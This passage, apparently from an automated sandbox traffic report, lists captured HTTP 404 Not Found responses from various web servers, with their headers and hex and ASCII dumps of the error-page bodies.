found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:37 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-117.ec2.internalX-Request-Id: 8ac185b1-1c0f-4158-8516-d52c448d69f0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Sun, 26 Nov 2023 05:59:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Sucuri-ID: 14013X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=3d4fbfa0c8c9c298da08ca6e25da0fa4; path=/Vary: Accept-EncodingX-Sucuri-Cache: MISSData Raw: 66 37 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 0a 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 65 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 69 73 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 76 6e 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 36 33 33 33 35 34 37 34 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 36 33 33 33 35 34 37 34 30 22 20 2f 3e 0a 0a 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 74 68 65 6d 65 73 2f 61 6d 61 7a 6f 6e 61 73 2f 61 73 73 65 74 73 2f 63 73 73 2f 74 68 65 6d 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 74 68 65 6d 65 73 2f 61 6d 61 7a 6f 6e 61 73 2f 61 73 73 65 74 73 2f 63 73 73 2f 71 75 69 63 6b 2d 6f 72 64 65 72 Data Ascii: f7e<!doctype html><html lang="en"> <head> <meta charset="utf-8"><meta http-equiv="x-ua-compatible" content="ie=edge"> <title>404 e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-67.ec2.internalX-Request-Id: f847adbe-a03c-4114-a492-97129701714dData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://samson.pe/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Sun, 26 Nov 2023 05:59:38 GMTserver: LiteSpeedData Raw: 32 32 63 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 7d 5b 77 db 38 92 f0 b3 7d ce fc 07 84 39 b1 a5 6e de 25 f9 22 5b ea 71 d2 9e de ec a6 3b 99 38 d9 39 bb 49 4e 0e 44 42 12 12 92 60 03 a0 65 b5 5b 3f 66 1f f7 79 df f6 b5 ff d8 9e 02 78 13 4d c9 8e ed 9e ef cb 4c cb 24 50 a8 2a 14 aa 0a f7 e2 e9 93 90 05 72 99 12 34 97 71 34 de 3d 85 3f 28 c2 c9 6c 64 10 61 bd 39 37 20 8d e0 70 bc bb 73 1a 13 89 51 30 c7 5c 10 39 32 de bf fb 9b 75 64 94 e9 09 8e c9 c8 b8 a4 64 91 32 2e 0d 14 b0 44 92 44 8e 8c 05 0d e5 7c 14 92 4b 1a 10 4b bd 98 88 26 54 52 1c 59 22 c0 11 19 79 0a 4b 44 93 af 88 93 68 64 a4 9c 4d 69 44 0c 34 e7 64 3a 32 e6 52 a6 62 e8 38 b3 38 9d d9 8c cf 9c ab 69 e2 78 50 a8 e0 49 d1 de e7 6c c2 a4 d8 2f 29 ef 27 8c 26 21 b9 32 d1 94 45 11 5b ec 23 47 15 79 62 59 e8 dd 9c 0a 24 a8 24 88 0a c4 52 49 63 fa 1b 09 d1 82 ca 39 92 73 82 fe 83 61 21 d1 c5 f9 6b 94 46 d9 8c 26 e8 d2 f7 ec 01 b2 50 c1 cc 12 00 ec 80 c5 ce 82 f1 30 e5 44 08 47 83 0a 47 10 e6 20 cb 02 d1 48 2a 23 32 7e f3 c7 7f cd 68 82 51 c2 10 49 40 30 1c 87 18 59 e8 02 c7 82 25 e8 05 a4 b0 48 a0 37 84 ff f1 bf a7 8e 2e 54 54 2e e5 2c 25 5c 2e 47 06 9b 0d 23 06 12 ab 49 97 88 cf e7 17 06 d4 2c 6f 9f 35 70 85 a9 06 fd 4d 8c 6c c4 0a 72 fb 0c 32 af 61 6e ad 4a 8e 41 04 9c a6 12 81 9a 8d 0c 9c a6 11 0d b0 a4 2c 71 a2 f0 fb 2f 82 25 06 0a 22 2c c4 c8 50 42 b5 44 30 27 31 b6 66 1c a7 73 63 7c 6d fc 55 a9 d2 95 34 86 a5 2a 68 10 50 06 c3 34 fe aa 21 87 1f ae 8d bf 02 0d 63 68 fc 83 4c 2e a8 24 90 49 c3 7a 39 25 70 3b 25 ce d3 05 99 40 3d 0c d3 c8 78 d4 0a 62 98 86 aa e4 d0 68 af 9c 69 84 44 57 8d b2 c4 18 1a 86 69 a4 d9 24 a2 62 4e b8 31 bc de 4c 9a f1 19 4e e8 6f 4a 06 c6 ca 34 52 06 96 42 71 74 16 80 58 8c 7a 4d 2e 08 e6 c1 3c cf 30 0d 89 f9 8c 48 85 3d af ea 79 22 f9 f2 0d a3 89 d4 55 79 47 e2 34 c2 12 a4 50 e8 aa 28 6b fd 83 18 5d 0b 85 f1 b3 24 3c fe 2c 24 a7 c9 6c 05 4c fc 9a 11 be b4 68 92 66 20 68 4e 7e cd 28 27 21 52 a6 75 b3 88 b1 fa 64 1a 34 79 85 93 59 86 67 40 4c 7b 8b 95 59 35 c2 eb 7a 35 b7 b4 c4 9a 38 6e 95 f9 96 d6 8a d8 8c d5 45 f3 32 c6 33 f2 7a f2 85 04 20 9b 16 6e b7 30 e5 68 15 73 00 a7 43 01 91 b3 45 55 16 a9 95 fb 3b 27 4b 23 86 43 e1 f8 ae ef 3b ee 81 42 60 15 2d 90 80 be e6 90 ef 37 a8 dd 37 e1 52 fe d4 18 1e bb a6 31 27 74 36 97 fa 39 c0 a9 d6 a4 0d aa bb 32 0d 55 a7 ad 6a da 26 82 95 69 08 1c 93 33 61 0c 3f 94 fa b5 58 2c ec 25 cb 64 36 21 ca 23 66 82 70 e7 e2 ec e7 8b d7 bf fc f4 f6 f5 fb 37 c6 a7 d5 a7 d5 a9 a3 6d 05 1c 15 78 60 e7 86 8f b5 95 cf dc dd 3d 2d 7b 82 fd 30 11 56 ca c9 94 c8 60 be af bb 83 7d c7 01 7a 33 c6 66 11 91
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTServer: ApacheLast-Modified: Thu, 24 Oct 2019 19:33:13 GMTETag: "1e8-595ad1aad5040"Accept-Ranges: bytesContent-Length: 488Content-Type: text/htmlData Raw: 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 74 2d 62 72 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 50 e1 67 69 6e 61 20 4e e3 6f 20 45 6e 63 6f 6e 74 72 61 64 61 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 41 72 69 61 6c 22 20 73 69 7a 65 3d 22 33 22 3e 45 72 72 6f 20 34 30 34 3c 2f 66 6f 6e 74 3e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 4d 53 20 53 61 6e 73 20 53 65 72 69 66 22 20 73 69 7a 65 3d 22 32 22 3e 50 e1 67 69 6e 61 20 6e e3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 3c 2f 66 6f 6e 74 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Language" content="pt-br"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Pgina No Encontrada</title></head><body><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"><b><font face="Arial" size="3">Erro 404</font></b></p><p align="center"><font face="MS Sans Serif" size="2">Pgina no encontrada</font></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTServer: Apache/2.4.57 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 12 Sep 2019 15:06:38 GMTETag: W/"3fe-5925c7bf8c9e3"Content-Encoding: gzipData Raw: 32 35 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 65 53 dd 6b db 30 10 7f f7 5f 71 f3 4b 5f f2 b1 8e 6e 0f c3 0b a4 24 a3 81 76 1d 4d c6 28 a5 0c c5 3a c5 a2 b2 e4 49 a7 ba fe ef 7b b2 92 32 ba 17 1b db fa 7d de b9 ba da dd 5c 2f 8a ea 6a bd 5c f1 6d b7 d9 5d af 17 17 1f 2f e0 87 23 f8 ee a2 95 d5 3c bf 2c aa cb e5 76 0d 8d 47 f5 ad 9c a3 f7 ce ff 91 ae 0e f3 72 51 7d 98 4e 1f b4 02 43 08 9b 35 7c 79 5c 54 f3 74 98 3f 3c a0 95 5a 3d 4e a7 4c 3e 3f 8a 5c de ae ee 93 e4 f9 e2 1f 11 7e 2a 76 0d 82 c7 bf 11 03 a1 04 26 8f 2d 5a 82 5e 04 b0 6c 47 25 3b e0 2c 50 a3 03 04 f4 cf e8 67 45 f5 33 71 dd f1 65 b9 5a dd ad b7 db 45 f1 1b f7 b0 1d 3f 83 60 18 4a f4 bd 36 72 26 88 4d bc 9d 62 8f d9 c8 3c 77 50 a4 18 05 00 4c e1 97 55 ce 53 b4 82 d0 0c 13 b8 d1 b5 77 c1 29 82 86 ad 08 29 d9 9d 80 da 20 1b 00 8b 7d 06 95 0a 05 45 8f 25 90 83 8d 25 f4 16 09 d6 2f 9d 71 9e 8d c2 46 b1 71 04 c2 17 02 a7 32 46 58 18 9b 3c 0b d0 62 08 e2 80 c0 d1 4a 72 0e 42 2b 8c 29 27 10 3a ac b5 d2 35 3f 0d 19 64 f8 24 53 31 f6 f3 f9 27 d8 0f 84 61 f2 bf 20 37 c9 6e 6c c8 18 4d 01 5c 7f 54 3b 69 cd e0 de 45 a8 99 28 9d 4c 94 c9 99 9a 64 c8 3e 12 68 62 67 1d 33 d1 00 e4 75 fd c4 37 07 4a f3 1c 42 af a9 6e 18 6d 0c ca 8c 28 d9 b3 a7 9c e8 a4 11 ca 19 ec 12 71 8b c2 b2 4f a7 a0 76 d1 07 3c aa 8c a2 a1 e1 ba df e1 40 78 84 1a 6d e0 f6 24 a7 04 89 4a 44 43 b3 ac b5 d9 6c 41 98 5e 0c e1 14 f4 3d 7e 64 4e 24 c6 d9 43 06 a1 75 f1 d0 a4 08 ad 78 e2 5d 7d 3f 24 9e 6f d7 0d c9 30 66 40 ef fc 93 f0 e3 de f1 5c 8e 45 04 dd 76 06 bf 42 27 e4 38 d1 71 82 f9 fc 69 88 dc 4d c3 2b b2 d7 07 4e db 8e 5b 6c 34 2b 8e 9b cb f2 5d 0c 0d 97 9b 41 2e ad 51 5a 0d a5 9f 11 1a 5e f2 94 58 70 c7 d4 a3 e1 57 e3 88 a1 d5 56 b7 b1 3d e6 bf 7d eb 71 9c 1b 8f 09 5f 44 4d 66 80 3e b5 3d b8 78 c6 d1 3d 0a a9 4f e9 bd 3e 34 c4 7f 52 9f 29 f8 97 7c 05 7e a9 4a 3b fe 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 25ceSk0_qK_n$vM(:I{2}\/j\m]/#<,vGrQ}NC5\|y\Tt?<Z=NL>?\~*v&-Z^lG%;,PgE3qeZE?`J6r&Mb<wPLUSw)) }E%%/qFq2FX<bJrB+)':5?d$S1'a 7nlM\T;iE(Ld>hbg3u7JBnm(qOv<@xm$JDClA^=~dN$Cux]}?$o0f@\EvB'8qiM+N[l4+]A.QZ^XpWV=}q_DMf>=x=O>4R)\|~J;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 12 Sep 2019 15:06:38 GMTETag: W/"3fe-5925c7bf8c9e3"Content-Encoding: gzipData Raw: 32 35 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 65 53 dd 6b db 30 10 7f f7 5f 71 f3 4b 5f f2 b1 8e 6e 0f c3 0b a4 24 a3 81 76 1d 4d c6 28 a5 0c c5 3a c5 a2 b2 e4 49 a7 ba fe ef 7b b2 92 32 ba 17 1b db fa 7d de b9 ba da dd 5c 2f 8a ea 6a bd 5c f1 6d b7 d9 5d af 17 17 1f 2f e0 87 23 f8 ee a2 95 d5 3c bf 2c aa cb e5 76 0d 8d 47 f5 ad 9c a3 f7 ce ff 91 ae 0e f3 72 51 7d 98 4e 1f b4 02 43 08 9b 35 7c 79 5c 54 f3 74 98 3f 3c a0 95 5a 3d 4e a7 4c 3e 3f 8a 5c de ae ee 93 e4 f9 e2 1f 11 7e 2a 76 0d 82 c7 bf 11 03 a1 04 26 8f 2d 5a 82 5e 04 b0 6c 47 25 3b e0 2c 50 a3 03 04 f4 cf e8 67 45 f5 33 71 dd f1 65 b9 5a dd ad b7 db 45 f1 1b f7 b0 1d 3f 83 60 18 4a f4 bd 36 72 26 88 4d bc 9d 62 8f d9 c8 3c 77 50 a4 18 05 00 4c e1 97 55 ce 53 b4 82 d0 0c 13 b8 d1 b5 77 c1 29 82 86 ad 08 29 d9 9d 80 da 20 1b 00 8b 7d 06 95 0a 05 45 8f 25 90 83 8d 25 f4 16 09 d6 2f 9d 71 9e 8d c2 46 b1 71 04 c2 17 02 a7 32 46 58 18 9b 3c 0b d0 62 08 e2 80 c0 d1 4a 72 0e 42 2b 8c 29 27 10 3a ac b5 d2 35 3f 0d 19 64 f8 24 53 31 f6 f3 f9 27 d8 0f 84 61 f2 bf 20 37 c9 6e 6c c8 18 4d 01 5c 7f 54 3b 69 cd e0 de 45 a8 99 28 9d 4c 94 c9 99 9a 64 c8 3e 12 68 62 67 1d 33 d1 00 e4 75 fd c4 37 07 4a f3 1c 42 af a9 6e 18 6d 0c ca 8c 28 d9 b3 a7 9c e8 a4 11 ca 19 ec 12 71 8b c2 b2 4f a7 a0 76 d1 07 3c aa 8c a2 a1 e1 ba df e1 40 78 84 1a 6d e0 f6 24 a7 04 89 4a 44 43 b3 ac b5 d9 6c 41 98 5e 0c e1 14 f4 3d 7e 64 4e 24 c6 d9 43 06 a1 75 f1 d0 a4 08 ad 78 e2 5d 7d 3f 24 9e 6f d7 0d c9 30 66 40 ef fc 93 f0 e3 de f1 5c 8e 45 04 dd 76 06 bf 42 27 e4 38 d1 71 82 f9 fc 69 88 dc 4d c3 2b b2 d7 07 4e db 8e 5b 6c 34 2b 8e 9b cb f2 5d 0c 0d 97 9b 41 2e ad 51 5a 0d a5 9f 11 1a 5e f2 94 58 70 c7 d4 a3 e1 57 e3 88 a1 d5 56 b7 b1 3d e6 bf 7d eb 71 9c 1b 8f 09 5f 44 4d 66 80 3e b5 3d b8 78 c6 d1 3d 0a a9 4f e9 bd 3e 34 c4 7f 52 9f 29 f8 97 7c 05 7e a9 4a 3b fe 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 25ceSk0_qK_n$vM(:I{2}\/j\m]/#<,vGrQ}NC5\|y\Tt?<Z=NL>?\~*v&-Z^lG%;,PgE3qeZE?`J6r&Mb<wPLUSw)) }E%%/qFq2FX<bJrB+)':5?d$S1'a 7nlM\T;iE(Ld>hbg3u7JBnm(qOv<@xm$JDClA^=~dN$Cux]}?$o0f@\EvB'8qiM+N[l4+]A.QZ^XpWV=}q_DMf>=x=O>4R)\|~J;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1699Content-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 